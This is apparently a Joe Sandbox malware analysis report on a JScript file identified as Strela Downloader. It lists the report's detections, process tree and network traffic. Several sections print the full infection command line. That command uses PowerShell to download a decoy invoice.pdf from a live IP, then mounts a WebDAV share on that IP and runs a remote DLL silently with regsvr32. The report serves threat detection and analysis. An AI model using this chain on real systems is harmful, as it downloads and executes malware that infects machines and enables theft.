Edit tour

Windows Analysis Report
251443863021115246.js

Overview

General Information

Sample name:	251443863021115246.js
Analysis ID:	1587799
MD5:	d6f02ad1776195e3f679f8a34eec0607
SHA1:	c55ef6ae1dbb1b1d22e990341034c3fb4d91329c
SHA256:	50dfa4d42e6270fbf39d8abffd14b64e959cc82cade673dda0103085061756f7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8088 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8176 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2112 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1764,i,9282616568081772246,3580024921873919150,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7864 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6708 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8088	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2112, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2112, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ProcessId: 8088, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 280, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ProcessId: 8088, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2112, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6708, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 8176, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:06:31.056281+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49758	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:06:28.028686+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49738	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 251443863021115246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 251443863021115246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49758 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:06:27 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: global traffic

TCP traffic: 192.168.2.10:49758 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:52564 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49738 -> 193.143.1.205:80

Source: global traffic

